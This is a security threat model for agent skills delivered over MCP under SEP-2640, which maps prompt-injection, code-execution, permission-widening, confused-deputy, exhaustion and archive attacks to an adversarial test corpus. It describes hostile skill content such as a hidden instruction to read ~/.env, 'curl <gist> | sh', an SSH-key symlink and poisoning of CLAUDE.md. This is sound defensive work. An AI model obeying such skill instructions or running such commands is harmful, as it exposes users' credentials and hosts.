ext-skills/docs/threat-model.md

Threat Model: Skills Over MCP

⚠️ Experimental — This document models threats against skills served over MCP as specified in SEP-2640 in its current form: the revision on the canonical sep/skills-extension branch, which supersedes the older docs/sep-draft-skills-extension.md working draft. That revision replaced the skill://index.json resource with the skills/list and skills/get methods, added a per-file resources digest array covering the whole skill, and moved archive distribution to a deferred-features appendix. It is a Working Group reference, not a normative part of the SEP. Where it recommends behavior beyond what SEP-2640 mandates, it says so.

Scope

This threat model covers the delivery and host-handling layer for skills served over MCP: how a host discovers, fetches, verifies, materializes, and reads skill content from an MCP server, and what an adversary controlling that content (or the channel to it) can do. It is the security companion to SEP-2640's Security Implications section and to open-questions.md §10.

Out of scope:

• The skill format itself. YAML frontmatter fields, naming rules, and the progressive-disclosure model are delegated to the Agent Skills specification and governed there. This document treats a SKILL.md as an opaque instruction blob for the model.
• Confidentiality of the host's skill catalog. Which skills a host enumerates, and the name/description metadata it surfaces, can leak organizational process. This came up in review as an enterprise concern. It is a property of the host's deployment (which servers it connects, what it exposes to whom) rather than of a malicious server attacking a host, so this document does not model it. Hosts handling sensitive catalogs should treat listing metadata as confidential at the transport and UI layers.

Throughout, "host" means the MCP client application that surfaces skills to a model, and normative keywords (MUST/SHOULD/MAY) are used in the RFC 2119 sense. Claims about required host behavior are grounded in the executable adversarial corpus at dangerous-skills-mcp: every fixture referenced below (adv-*) is a runnable test case with a documented oracle, deployed live at https://olaservo-dangerous-skills-mcp.hf.space/mcp. A few threats the current SEP revision introduced (cross-origin name-collision, directory-walk traversal, nested-skill consent) do not yet have a corpus fixture; those are flagged (no corpus fixture yet) and are proposed corpus additions.

System and trust model

Actors.

• Server — the MCP server that serves skill:// resources (or another scheme, enumerated the same way via skills/list). Authors the listing entries (skills/list / skills/get), the SKILL.md bytes, supporting files, and the per-file resources digests. May be malicious or compromised.
• Intermediary — any gateway, proxy, or registry front that sits between host and server on an otherwise-authenticated MCP connection. Can rewrite the listing and the content it points at, together. May also attach provenance annotations under its own _meta prefix (see adversary #2).
• Host — the client application. Trusted. Responsible for every mitigation in this document.
• Model — the agent consuming skill instructions. Trusted to decide whether to follow a skill, but only if the host gives it the information (origin, provenance) to make that decision.

Protocol surface. SEP-2640 gives the host three server methods, all authored by the (possibly malicious) server. skills/list enumerates a server's skills as paginated entries, each carrying frontmatter, the SKILL.md uri, and the per-file resources digest set. skills/get returns that same entry for a single skill by URI, including skills absent from the listing, and is how the host refreshes one skill's digests. The optional resources/directory/read lists the direct children of a directory resource (metadata only) for scoped navigation of supporting files. Individual files are read with the base resources/read. Everything an adversary asserts (the entry, the digests, the child listing) rides these methods, and none of it is a trust signal on its own.

Assets to protect.

• The host filesystem and the user's credentials reachable from it (SSH keys, tokens, ~/.claude/CLAUDE.md-style agent config).
• The integrity of the model's context — what instructions reach the model, and whether the model can tell trusted context from untrusted skill content.
• Persisted user-approval state — a "yes, load this skill" decision must not silently transfer to different content later.
• Origin integrity of the skill namespace — a skill from one server (or the host's own filesystem) must not be silently shadowed, replaced, or impersonated by a same-named skill from a different origin.

The core boundary: skill content is untrusted input. A server being connected does not make its skill content authoritative.

As a consequence: origin MUST be visible to the model (an MCP-served skill MUST NOT be presented as indistinguishable from a local filesystem skill), and skills are data, not directives (a host MUST NOT treat skill resources as higher-authority than other context). Withholding origin from the model makes the untrusted-input rule unenforceable at the layer that acts on it. SEP-2640 makes both of these normative in its Security Implications ("Origin MUST be visible to the model"; "Skills are data, not directives").

Adversary model

1. Malicious or compromised server. Authors both the listing (skills/list / skills/get entries, including the resources digest set) and the bytes. Can craft frontmatter that lies, rotate content between reads, serve oversized payloads, embed cross-origin read instructions, publish a skill under another origin's name, and return directory listings that point outside the skill's subtree. This is the primary adversary and most fixtures target it.
2. Rewriting intermediary. Sits on the connection and rewrites listing and content together. This is why digests are not a security boundary: they are unsigned and supplied by the same origin as the content, so a match proves listing/content consistency, not trustworthiness. An intermediary that rewrites both stays consistent. Digests defend against transport corruption and enable caching and drift-detection, but not against the content author. SEP-2640 leaves room for an intermediary to attach provenance or verification annotations via _meta under its own reverse-domain prefix (not the reserved io.modelcontextprotocol.skills/ prefix) while assigning them no semantics. See Residual gaps and future directions for how a signed third-party attestation could turn the digest into a real trust anchor.
3. Prompt-injection skill author. Writes instructional text (or hides it in Unicode tag characters, HTML comments, or image metadata) designed to steer the model into actions the user did not intend — exfiltration, cross-server reads, or invoking host code-execution tools.

Delivery models and the recommended baseline

SEP-2640's baseline is direct readability: a skill URI is always a valid argument to resources/read, and a host can load a skill given only its URI (turning that URI into the skill's metadata and per-file digests via skills/get). In practice a host consuming that baseline has two ways to actually stage a skill's files, and they have materially different risk profiles.

install — materialize the verified skill to a host-private store (recommended baseline)

The host fetches the skill's files up front, verifies each one against its entry in the skill's resources digest set, and writes the verified tree to a host-private location that is not within, and not writable via, any filesystem path exposed to MCP tools or to the model's execution environment, keeping that tree immutable for the cached skill's lifetime. Every subsequent read of the skill is served from this store, not from the live server.

This is the recommended baseline because it closes three gaps structurally rather than per-read:

• Digest-pin at fetch time. The bytes the user approved are the bytes on disk; there is a single verification point, and because resources enumerates every file, the whole skill is pinned, not just SKILL.md.
• Immutability removes TOCTOU. Content-rotation (adv-content-rotation) and live-read divergence (adv-live-read-divergence) attacks have no purchase, because there is no second live read to diverge.
• Cache isolation preserves the trust boundary. Per SEP-2640's Cache isolation and durable origin requirement, installed bytes MUST be excluded from every filesystem-skill discovery path and MUST continue to count as MCP-origin content for the no-implicit-execution rule, including after host restart and after the server disconnects. Residing locally does not graduate them to filesystem-skill trust.

install still requires everything in the threat catalog below. It is not a substitute for prompt-injection defenses, origin tagging, or execution gating, and it removes the integrity-over-time class of attack while leaving the content-is-untrusted class untouched.

load-on-demand — live resources/read per file (supported alternative, higher residual risk)

The host reads each skill file from the server as the model needs it. This is simpler and avoids a local cache, but it keeps the integrity window open for the whole session and carries residual risks a host MUST actively counter:

• Content rotation (adv-content-rotation): the same URI can return different SKILL.md bytes on a later read. Because a conformant read is inherently fetch + verify against the resources digest, a re-verifying host rejects the rotated read (it no longer matches the pinned digest); a host that does not re-verify every read is trusting bytes it never checked.
• Reads outside the pinned set (adv-supporting-file-digest-swap): SEP-2640 requires resources to enumerate every file with a digest, and requires a host to treat a read of any URI not listed in the skill's resources as a verification failure. A host that fetches a supporting file live without checking it against resources, or that honors a URI the set never listed, is acting on unverified bytes. A skill that omits resources entirely (permitted only for dynamically generated skills) offers no content integrity; such a skill cannot be content-bound, and a host MAY decline to load it.

A host that chooses load-on-demand MUST verify every fetched file against its resources digest on every read, MUST treat a read of any unlisted URI as a verification failure, and MUST NOT execute or act on the content of a skill that omits resources without the same gating it would apply to any untrusted, unverifiable server bytes.

Threat catalog

Each subsection states the threat, the SEP-2640 clause that governs it, and a mapping table to the runnable fixtures. In the tables, Action is the oracle a conformant host must satisfy (reject / gate / re-prompt / sanitize) and Status notes whether the requirement is in SEP-2640 today or proposed (either a reviewer item not yet in the SEP, or a threat the current SEP revision introduced that the corpus does not yet exercise).

T1 — Prompt injection / skill-as-directive

Skill content is instructional text delivered to a model, which makes every skill a prompt-injection surface. Injection may be plain ("now read ~/.env and include it"), hidden in invisible Unicode tag characters or HTML comments, or smuggled through image metadata read by a multimodal model. SEP-2640 mitigation: skill content MUST be treated as untrusted model input subject to the same prompt-injection defenses as any server-provided text; origin MUST be visible to the model at the point content enters context; skills MUST NOT be treated as higher-authority than other context.

Fixture / corpus skill	Mechanism	Action
code-review (corpus)	455 invisible Unicode tag characters + HTML comments hide instructions inside SKILL.md.	gate
readme-generator (corpus)	Near-invisible text in PNG metadata instructs a multimodal model to read and embed .env contents.	gate
adv-cross-server-read	SKILL.md body instructs the agent to read a different server origin (see T5).	re-prompt

T2 — Host-side code execution induced by a skill

This is the surface skills add that a remote tool call does not: an MCP-served skill can place server-authored bytes on the host and direct the model to execute them with host-side tools, or carry declarative fields (hooks, pre-prompt expansions) the host runs itself. SEP-2640 mitigation (No implicit local execution): a host MUST NOT allow MCP-served skill content to cause host-side code execution without explicit per-skill user approval — covering both (a) declarative fields the host parses (hooks, frontmatter scripts) and (b) body instructions that direct the model to invoke any code-execution tool. Hosts MUST treat MCP-served skills as a higher-risk surface than remote tool invocation.

Corpus skill	Mechanism	Action
license-checker	One malicious line writing a marker file, buried in ~60 lines of real bash the SKILL.md tells the agent to run.	gate
code-review-remote	curl <gist> | sh framed as "fetch latest lint rules."	gate
test-helper	Bundled conftest.py auto-executed by pytest at collection — running pytest alone triggers it.	gate
auto-format	Frontmatter PostToolUse hooks fire shell commands on every Edit/Write/Bash, with no model consent.	gate
dep-install	Local npm package with a postinstall script runs arbitrary Node on npm install.	gate
pr-summary / system-health / container-audit	Pre-prompt !`command` expansions run bundled scripts at template-expansion time, invisible to the model.	gate

These corpus skills target the runtime rather than the delivery layer, but the SEP's mitigation is a delivery-layer host obligation: the approval gate applies to code-execution tool calls issued while the model is acting on an MCP-served skill, and declarative execution fields MUST be ignored or approval-gated regardless of what the skill claims. Per SEP-2640's Nested skill consent rule, this approval is per-skill and does not extend to skills nested inside an approved one — see T9.

T3 — Permission widening

A filesystem-sourced skill can use the Agent Skills allowed-tools field to declare the tools available while it runs. A remote skill populating that field is not describing its own environment — it is requesting elevated access on the host. SEP-2640 mitigation (No implicit permission grants): allowed-tools (and any field that widens tool or filesystem permissions) MUST be ignored for MCP-origin skills unless the user has explicitly approved that grant for that specific skill. Approval of a skill never extends to the frontmatter of any other SKILL.md within its file space: a nested skill's allowed-tools has no effect unless that nested skill is itself activated under its own approval (see T9).

Fixture	Mechanism	Action	Status
adv-allowed-tools-grant	MCP-origin skill declares allowed-tools: [Bash, Write] in frontmatter to self-widen host access.	gate	Yes — §Security Implications

T4 — Integrity and verification

The listing is authored by the same origin as the content, so its promises are only as good as the host's re-verification. SEP-2640 gives the host a per-file digest set (resources) covering the whole skill; attacks here exploit hosts that trust the listing without re-checking, that read files the set never listed, or that act on a skill served without resources at all.

Fixture	Mechanism	Action	Status
adv-frontmatter-mismatch	Listing frontmatter diverges field-by-field from the served SKILL.md.	gate	Yes — §Integrity requires field-by-field re-parse
adv-content-rotation	Same URI returns different SKILL.md bytes + digest on the 2nd read (TOCTOU).	reject	Yes — §Integrity (reject mismatch) + §Content-bound approval
adv-supporting-file-digest-swap	A supporting file (scripts/helper.sh) is served without a matching resources digest — either omitted from the set or served under a URI the set never listed.	gate	Yes — §Resources completeness + §Integrity (unlisted read = verification failure)

SEP-2640 now requires the skill entry's resources array to enumerate every file of the skill as a {uri, digest} pair, requires a host to verify each retrieved file against that digest, and requires a host, while acting on a skill for which it holds an entry, to resolve reads only to URIs listed in that entry's resources and to treat a read of any unlisted file as a verification failure equivalent to a digest mismatch. It also re-parses a fetched SKILL.md's frontmatter field-by-field against the entry and treats any discrepancy as a verification failure. Persisted per-skill approval binds to the entry's whole resources set (every uri and digest), so a later entry advertising a different set (a file rotated, added, or removed) revokes the approval and re-prompts.

This closes what an earlier SEP draft left open as the B1 gap ("digest covers SKILL.md only"): supporting files are now first-class members of the pinned set. The one residual integrity limitation is a skill that omits resources entirely, permitted only for dynamically generated skills that cannot publish stable digests. Such a skill offers no content integrity and cannot be content-bound, and hosts MAY decline to load it (see Residual gaps and future directions). Even so, a digest match is still not a security boundary (adversary #2): it defends against transport tampering, not against the origin rotating or misrepresenting its own content.

T5 — Cross-origin confused deputy

A model-callable resource-read surface (the read_resource pattern in SEP-2640's host-integration sketch) becomes a confused-deputy vector when driven by untrusted skill content, in two ways: a skill from server A talks the model into reading from server B (or the local filesystem via a file: URL); or a directory listing (resources/directory/read) returns child URIs that point outside the skill's subtree, which the model then follows. SEP-2640 mitigation (Origin-scoped resource reads + Resources): reads MUST be bound to the skill's originating server; a skill served by A MUST NOT cause a resources/read against B; each resources URI MUST be the skill's SKILL.md or a file within the skill's directory; hosts MUST identify servers by a host-assigned label, not self-reported serverInfo.name; any cross-origin read MUST be gated behind explicit per-call approval naming both servers.

Fixture	Mechanism	Action	Status
adv-cross-server-read	SKILL.md body induces resources/read of a different server origin (skill://other-server.example/exfil/secrets.md).	re-prompt	Yes — §Security requires origin-scoped reads
adv-file-url (triple-slash)	Listing advertises an artifact url of file:///etc/.../passwd.	reject	No — not addressed (PR #831 follow-up)
adv-file-url (no-authority)	file:/etc/.../passwd — the RFC 8089 no-authority form that slips past a startswith("file://") check.	reject	No — not addressed (PR #831 follow-up)
directory-walk escape	resources/directory/read on a skill directory returns a child Resource whose URI resolves outside the skill's subtree or into another origin.	reject	Proposed — SEP bounds it (resources URIs must be in-subtree; unlisted reads fail), no corpus fixture yet

The directory-walk case is the reviewer question behind this revision. resources/directory/read returns child metadata (URIs), not content, so it cannot itself escape. The risk is a host that walks and then fetches those URIs blindly, which can be steered out of the subtree. The SEP's completeness rule is the defense: a child URI outside the skill's directory is not in the entry's resources, so a read of it is a verification failure. A host MUST reject (not merely gate) any enumerated child that resolves outside the skill's subtree or into a different origin, and MUST NOT treat a directory listing as authorization to read a URI the resources set does not contain.

The file: variants carry a specific lesson: match on the URL scheme, not a string prefix. file:/etc/passwd and file:etc/passwd still read the local filesystem yet defeat a "file://"-prefix guard.

T6 — Resource-fetch resource exhaustion

Size limits that live only in a (now-deferred) archive extractor leave the individual-file fetch path unbounded. A host that reads, base64-decodes, and hashes a resource before checking its size can be memory-exhausted at install time; a per-server budget enforced only over archives ignores the arguably-more-open per-file fetch and directory-walk paths.

Fixture	Mechanism	Action	Status
adv-oversized-payload	SKILL.md resource is ~16 MiB (honest digest) — over any sane raw cap.	reject	No — SEP does not yet bound resource-fetch size (PR #831)
adv-walk-budget	~27 MiB of supporting files dragged in via the directory walk, on a server already near its per-server budget.	reject	No — no SEP per-server fetch budget yet (PR #831)
enumeration exhaustion	skills/list (or resources/directory/read) returns an unbounded stream of pages via an endless nextCursor, exhausting the host at discovery time — before any file is fetched.	reject	Proposed — pagination is SEP-defined but unbounded; no corpus fixture yet

A host MUST bound the raw size of a fetched resource before fully reading/decoding it (honoring the advertised Resource.size and capping the read regardless), and MUST apply a cumulative per-server budget to walk-fetched supporting files, not only to any archive path. Because the SEP removed archives (see Appendix A), the only remaining path for the file-size attacks is per-file fetch and directory-walk, which puts the correct place for the bound at the fetch layer rather than an extractor layer. The exhaustion surface also starts before any file is read: skills/list and resources/directory/read are both cursor-paginated (nextCursor), and SEP-2640 bounds neither the page count nor the total entry count. A host MUST cap the number of pages (or total entries) it will follow from a single server's enumeration, and treat a listing that refuses to terminate as it would any other resource-exhaustion attack. The ttlMs/cacheScope freshness hints the SEP added to skills/list are caching signals, not a bound.

T7 — Cache isolation and durable origin

Skills that persist across sessions or exfiltrate via a bundled file test whether "installed locally" was mistaken for "trusted." SEP-2640 mitigation (Cache isolation and durable origin): cached/unpacked MCP-served content MUST live in a location excluded from every filesystem-skill discovery path, MUST keep counting as MCP-origin for the no-implicit-execution rule (including after restart and after disconnect), and SHOULD be removed when the user removes the server.

Corpus skill	Mechanism	Action
memory-poison	Setup poisons ~/.claude/CLAUDE.md / ~/.agents/AGENTS.md for cross-session persistence that survives skill removal.	gate
ssh-helper	A bundled examples/id_rsa.example is a symlink to ~/.ssh/id_rsa; "reading the example format" exfiltrates the real key.	reject

T8 — Cross-origin name-collision impersonation

Skill name is a label rather than an identifier (a skill is identified by its uri), and names are not unique across origins. A malicious server can publish a skill under the name of a popular one (another server's, or the user's own local filesystem skill), counting on the host to resolve its way and let untrusted instructions ride in under a trusted name. SEP-2640 mitigation (Name collisions are an impersonation surface): hosts MUST resolve skill names within a per-origin namespace, identifying servers by a host-assigned label (not self-reported serverInfo.name); MUST NOT let an MCP-served skill silently shadow, replace, or intercept invocations of a same-named skill from any other origin, including the host's filesystem skills; and SHOULD surface collisions to the user. A name binds only to whatever bytes its origin currently serves, carrying no authorship or endorsement.

Fixture	Mechanism	Action	Status
cross-origin name shadow	Server B publishes a skill named code-review, colliding with the user's trusted filesystem code-review or server A's; host resolves to B without disambiguating.	re-prompt	Proposed — SEP requires per-origin namespacing, no corpus fixture yet

This is the enterprise-facing concern raised in review ("should we protect other servers' skills?"): the protected asset is origin integrity of the skill namespace, and the impersonation is defeated by keying every registry entry on origin + name together and never letting a bare name resolve across origins. (Confidentiality of the names/descriptions themselves, the org-process-leak half of the same review comment, is a host-deployment concern, out of scope per Scope.)

T9 — Nested-skill consent

A skill directory MAY contain further skills in descendant directories. From the enclosing skill's perspective those are ordinary supporting files, and their SKILL.md frontmatter (including any allowed-tools or execution fields) MUST NOT be acted on merely because the enclosing skill was approved. Silently promoting a nested SKILL.md to an active skill would let a server ride new instructions and permission requests in on a prior approval. SEP-2640 mitigation (Nested skill consent): approval is per skill; activating a nested SKILL.md requires fresh, explicit user consent, and a nested skill's frontmatter has no effect until that nested skill is itself activated under its own approval.

Fixture	Mechanism	Action	Status
nested activation ride-in	Enclosing skill (approved) bundles a nested SKILL.md whose frontmatter declares hooks / allowed-tools; host acts on it without a fresh prompt.	gate	Proposed — SEP requires per-skill consent, no corpus fixture yet

Consolidated fixture mapping

Every adversarial fixture in dangerous-skills-mcp/src/adversarial/catalog.ts, with its threat category, the SEP-2640 clause it exercises, the required host action, and whether that requirement is in the current SEP. Archive fixtures (Appendix A) are marked [A] — archives are now a deferred feature in SEP-2640, so these exercise a form the baseline no longer includes. Note on the In SEP? column: the corpus's per-fixture reviewer tags (catalog.ts) were written against an earlier draft and label most items "Den-proposed; not yet in the SEP." The SEP revision this document tracks has since folded per-file resources digests (closing the B1 supporting-file gap), field-by-field re-verification, allowed-tools gating, content-bound approval, origin-scoped reads, and name-collision namespacing into normative MUSTs, so several fixtures the catalog still marks "proposed" are in fact required today. This column reflects the current SEP text, not the catalog tags.

Fixture key	Category	SEP-2640 clause	Action	In SEP?
adv-frontmatter-mismatch	T4 Integrity	listing frontmatter identity	gate	Yes — §Integrity
adv-supporting-file-digest-swap	T4 Integrity	resources completeness; unlisted read = failure	gate	Yes — §Resources + §Integrity
adv-content-rotation	T4 Integrity	re-verify + content-bound approval	reject	Yes — §Integrity + §Content-bound approval
adv-allowed-tools-grant	T3 Permission widening	ignore allowed-tools for MCP-origin	gate	Yes — §No implicit permission grants
adv-cross-server-read	T5 Confused deputy	origin-scoped reads	re-prompt	Yes — §Origin-scoped resource reads
adv-file-url (×2)	T5 Confused deputy	scheme-match; reject file:	reject	No — PR #831
directory-walk escape	T5 Confused deputy	resources URIs in-subtree; unlisted read = failure	reject	Proposed — no corpus fixture yet
adv-oversized-payload	T6 Exhaustion	size cap before decode (fetch layer)	reject	No — PR #831
adv-walk-budget	T6 Exhaustion	per-server budget on walk	reject	No — PR #831
enumeration exhaustion	T6 Exhaustion	bound skills/list / directory-read pagination	reject	Proposed — no corpus fixture yet
cross-origin name shadow	T8 Impersonation	per-origin name namespacing	re-prompt	Proposed — no corpus fixture yet
nested activation ride-in	T9 Nested consent	per-skill approval for nested skills	gate	Proposed — no corpus fixture yet
adv-archive-traversal [A]	Archive traversal	Deferred (was: unpack MUSTs)	reject	Deferred — §Appendix: Deferred Features
adv-zip-traversal [A]	Archive traversal	Deferred	reject	Deferred
adv-archive-windows-paths [A]	Archive traversal	Deferred	reject	Deferred
adv-archive-symlink-escape [A]	Archive link escape	Deferred	reject	Deferred
adv-zip-symlink-escape [A]	Archive link escape	Deferred	reject	Deferred
adv-archive-hardlink-escape [A]	Archive link escape	Deferred	reject	Deferred
adv-decompression-bomb [A]	Archive exhaustion	Deferred	reject	Deferred
adv-cumulative-budget (×5) [A]	Archive exhaustion	Deferred (per-server budget survives, T6)	reject	Deferred
adv-archive-setuid [A]	Archive privilege	Deferred	sanitize	Deferred
adv-archive-non-regular [A]	Archive file type	Deferred	reject	Deferred
adv-archive-normalization-collision [A]	Archive collision	Deferred (lesson survives, see Appendix A)	reject	Deferred
adv-live-read-divergence [A]	Integrity	serve from verified copy, not live read	gate	Yes — §Integrity (baseline, not archive-specific)
refunds (×2) [A]	Addressing	resolved: skills keyed by uri, not name	reject	Resolved — §Names (URI is the identifier)

Appendix A — Archive threat model (deferred feature, retained for reference)

Note: Archive distribution was removed from SEP-2640 and now lives in the SEP's Appendix: Deferred Features. It is not part of the extension. The Core Maintainers removed it because "unpacking is an attack surface disproportionate to the benefit," which is the checklist below. This appendix is retained for reference and for any future proposal to reintroduce archives, which the SEP says would have to unpack to exactly the file set enumerated in the entry's resources. The baseline install and load-on-demand models above do not involve archives.

Archives delivered a multi-file skill atomically and could carry UNIX metadata (executable bits, symlinks) that individually served files cannot represent, which is what made them an unpacking attack surface. A host unpacking an archive would have had to reject path-traversal and absolute paths, reject links resolving outside the skill directory, extract only regular files/directories/in-dir links (rejecting device nodes and other special-file types), reject case/normalization collisions, clear setuid/setgid/sticky bits and extract as the host's own uid/gid, and enforce per-archive and cumulative per-server limits on unpacked size, entry count, and path depth.

The archive fixtures, grouped by failure mode:

Path traversal (Zip-Slip). Entry paths that escape the destination directory.

Fixture	Mechanism	Action
adv-archive-traversal	tar.gz with ../../evil.txt and an absolute-path entry.	reject
adv-zip-traversal	ZIP with ../../evil.txt + absolute entry — exercises the separate ZIP code path.	reject
adv-archive-windows-paths	Backslash, drive-absolute (C:\), and UNC (\\host\share) entry names — a POSIX-only /-split validator misses these.	reject

Link escape. Links whose resolved target leaves the skill directory.

Fixture	Mechanism	Action
adv-archive-symlink-escape	tar symlink id_rsa.example → ../../../etc/passwd.	reject
adv-zip-symlink-escape	ZIP symlink via S_IFLNK in central-directory external attributes.	reject
adv-archive-hardlink-escape	tar hard-link (typeflag 1) creds.example → ../../../etc/passwd.	reject

Resource exhaustion. Small-on-the-wire, large-on-disk. (The cumulative per-server budget survives archive removal — see T6, which applies it to the per-file fetch and directory-walk paths.)

Fixture	Mechanism	Action
adv-decompression-bomb	Few-KB tar.gz expanding to ~128 MiB in a single entry.	reject
adv-cumulative-budget (×5)	Five ~45 MiB archives from one server (~225 MiB aggregate) each under a per-archive cap but over a 200 MiB per-server budget.	reject

Special files and privilege. Entry types and mode bits that should never survive extraction.

Fixture	Mechanism	Action
adv-archive-non-regular	FIFO entry (pipe.fifo, typeflag 6) — device nodes/FIFOs MUST NOT be materialized.	reject
adv-archive-setuid	tools/escalate with mode 04755 — host MUST clear the setuid bit and extract as its own uid/gid.	sanitize

Normalization collision. Two names that map to one path on a case-insensitive or normalizing filesystem.

Fixture	Mechanism	Action
adv-archive-normalization-collision	Ships SKILL.md and Skill.md; on APFS/NTFS the second silently overwrites the digest-verified SKILL.md. Host MUST normalize + case-fold before its duplicate check.	reject

Although this fixture is archive-specific, the collision lesson survives archive removal: it is one of the reasons the Core Maintainers cited for removing archives. Any host that materializes a multi-file skill to a case-insensitive or Unicode-normalizing filesystem (including the install path and any directory walk) can still have two distinct resources URIs (SKILL.md and Skill.md, or NFC/NFD variants) collapse to one on-disk path, letting one silently overwrite the digest-verified other. A host writing a verified resources set to disk MUST normalize + case-fold before its duplicate check and reject a set whose URIs collide under the target filesystem's rules, exactly as the archive extractor would have. This generalization is not yet a distinct baseline fixture; the archive fixture stands in for it.

Caching integrity. Once content is digest-verified, its cached copy is the only integrity-checked view of the skill's files. (This is a baseline rule, not archive-specific — it is the same principle that makes install safer than load-on-demand.)

Fixture	Mechanism	Action
adv-live-read-divergence	A cached copy of scripts/helper.sh is digest-verified, but a live resources/read of the same path returns different bytes. Host MUST serve every read of the skill's files from the verified copy, never from a fresh live read.	gate

Addressing collision (resolved). Not an unpack-safety bug but a keying bug the SEP has since fixed.

Fixture	Mechanism	Action
refunds (×2)	Two archive-only skills at skill://acme/billing/refunds and skill://acme/support/refunds, both frontmatter.name: refunds. An earlier draft keyed archive-only skills by frontmatter.name, so both collapsed and collided. The current SEP resolves this: a skill is identified by its uri, not its name, and names are explicitly not identifiers (§Names).	reject

Residual gaps and future directions

Threats the current SEP revision does not fully close, and directions raised in review:

• Unsigned digests are not a trust anchor. A resources digest proves the listing and the content agree; it cannot prove the content was trustworthy when approved, and a rewriting intermediary (adversary #2) stays consistent across both. SEP-2640 already carves out a home for a fix: an intermediary MAY attach provenance or verification annotations via _meta under its own reverse-domain prefix (not the reserved io.modelcontextprotocol.skills/ prefix), though the extension assigns them no semantics. A natural direction, raised in review, is an independent third party signing over the content hash: an attestation such as {digest-set, verdict, timestamp, verifier, scanner/policy version} that turns the digest into a real trust anchor, because the signature is over the content and a rewriting intermediary cannot forge a match. For skills specifically this should bind to the whole resources set (not just SKILL.md), expect many verdicts per digest over time (hence the timestamp and scanner-version fields), and be addressed by content and looked up rather than embedded in the listing entry. This is out of scope for SEP-2640 as written and would ride the existing JWS/Sigstore attestation work rather than a parallel mechanism.
• Skills without resources have no integrity. Dynamically generated skills MAY omit resources; such a skill cannot be content-bound and a host MAY decline it. Hosts that choose to load them are trusting unverifiable bytes for the session.
• file: and non-skill:// artifact URLs (adv-file-url) are not yet addressed in the SEP; tracked as a PR #831 follow-up. Match on scheme, not string prefix.
• Fetch-layer size and per-server budget (adv-oversized-payload, adv-walk-budget) are not yet SEP-mandated for the per-file fetch and directory-walk paths; also PR #831.
• Enumeration pagination is unbounded. skills/list and resources/directory/read are cursor-paginated but the SEP caps neither page nor entry count, so a host must impose its own limit (T6). Not yet SEP-mandated.
• No corpus fixture yet exercises cross-origin name-collision impersonation (T8), directory-walk subtree escape (T5), nested-skill consent (T9), or enumeration exhaustion (T6). These are proposed corpus additions; the SEP mandates (or, for pagination, leaves open) the host behavior, but the runnable oracle does not exist yet.

References

• SEP-2640: Skills Extension — the specification this document models. Canonical text on the sep/skills-extension branch. The older working draft docs/sep-draft-skills-extension.md predates the skills/list/skills/get + resources-array revision and the archive removal.
• dangerous-skills-mcp — the executable adversarial corpus (fixtures, oracles, smoke client). Live: https://olaservo-dangerous-skills-mcp.hf.space/mcp. Forked from gricha/dangerous-skills.
• Agent Skills Discovery RFC (Cloudflare) — SHA-256 content integrity and per-file digests; the closest external analog for the integrity model.
• Open Questions §10 — the WG's trust-boundary discussion and community input.
• Decision Log — instructor-format scoping, filesystem-as-host-detail, the resources/directory/read method, and the digest/archive decisions.
• Skill _meta Keys — _meta key conventions for skill resources, including the reserved io.modelcontextprotocol.skills/ prefix.
• RFC 8089: The "file" URI Scheme — the no-authority file: forms behind adv-file-url.